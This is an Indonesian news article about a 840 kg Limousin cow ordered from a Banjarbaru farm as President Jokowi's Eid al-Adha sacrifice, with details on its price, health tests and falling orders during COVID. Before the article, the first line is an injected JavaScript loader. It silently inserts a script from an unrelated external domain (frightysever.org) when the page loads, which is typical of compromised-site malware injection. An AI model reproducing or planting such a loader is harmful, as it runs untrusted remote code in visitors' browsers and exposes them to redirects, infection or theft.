(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kota Banjarbaru

Sapi Kurban Presiden Jokowi Berbobot 840 Kg Dipesan di Landasan Ulin

KANALKALIMANTAN.COM, BANJARBARU – Jelang Idul Adha 1441 hijriah, perwakilan staf Kepresidenan RI telah memesan sapi kurban untuk Presiden Joko Widodo. Sapi dipesan di peternakan milik Saifudin (40), di Kecamatan Landasan Ulin, Banjarbaru.

Jenis sapi limousin yang dipesan Jokowi memiliki ciri bulu berwarna cokelat tua dengan beberapa bagian berwarna putih. Sapi jantan berbobot 840 kg yang saat ini berusia 3 tahun tersebut, dibandrol dengan harga Rp75 juta.

Peternakan milik Saifudin sudah 2 kali ini ditunjuk untuk penyediaan sapi kurban Presiden. Sapi tersebut juga sudah menjalani tes kesehatan dari dinas terkait. “Dari tes kesehatan untuk sapi kemarin sempat di ambil darah dan liur. Termasuk juga pemeriksaan secara fisik kondisi tubuh sapi. Hasil tes lab sapi dinyatakan sehat tidak ada yang cacat,” ungkapnya.

Untuk perawatan, saat ini sapi pesanan presiden tersebut diberi makanan rumputan hijau dan konsentrat berupa biji-bijian serta umbi-umbian. Termasuk juga vaksin dan antibiotik agar sapi sehat. “Rencananya tanggal 20-22 Juli pihak perwakilan Staf Kepresidenan akan melakukan pelunasan pembayaran. Tidak tahu kapan pastinya akan dikirim sapi ini, kemungkinan H-2 Idul Adha akan dilakukann pengiriman,” paparnya.

Baca juga :

Saifudin mengatakan, belum mengetahui akan dikirim ke mana sapi miliknya tersebut. Apakah akan dibawa ke Jakarta, atau digunakan sebagai kurban di Kalsel yang biasanya dilaksanakan di Masjid Sabilal. “Kemana dikirimnya, nanti akan dibahas saat pelunasan dengan staf presiden,” katanya.

Ia mengatakan, kelebihan sapi kurban pesanan Jokowi ini selain berat badannya lebih dari jenis sapi lain sehingga mempunyai daging yang lebih banyak. Selain itu, sapi jenis ini juga mempunyai daging dengan kualitas baik dan cocok untuk dijadikan makanan konsumsi.

Saifudin mengatakan, dibandingkan sebelumnya, pesawanan hewan kurban di tempatnya mengalami penurunan. Biasanya, sebulan sebelum Idul Adha sudah mencapai 750 ekor sapi dipesan. “Tapi sekarang baru sekitar 250 ekor sapi. Saat corona ini tidak banyak pesanan sapi qurban di tempat saya,” ungkapnya.

Ada berbagai jenis sapi di peternakan milik Saifudin. Mulai sapi bali, sapi semental, sapi kisar, dan sapi limousin. (Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell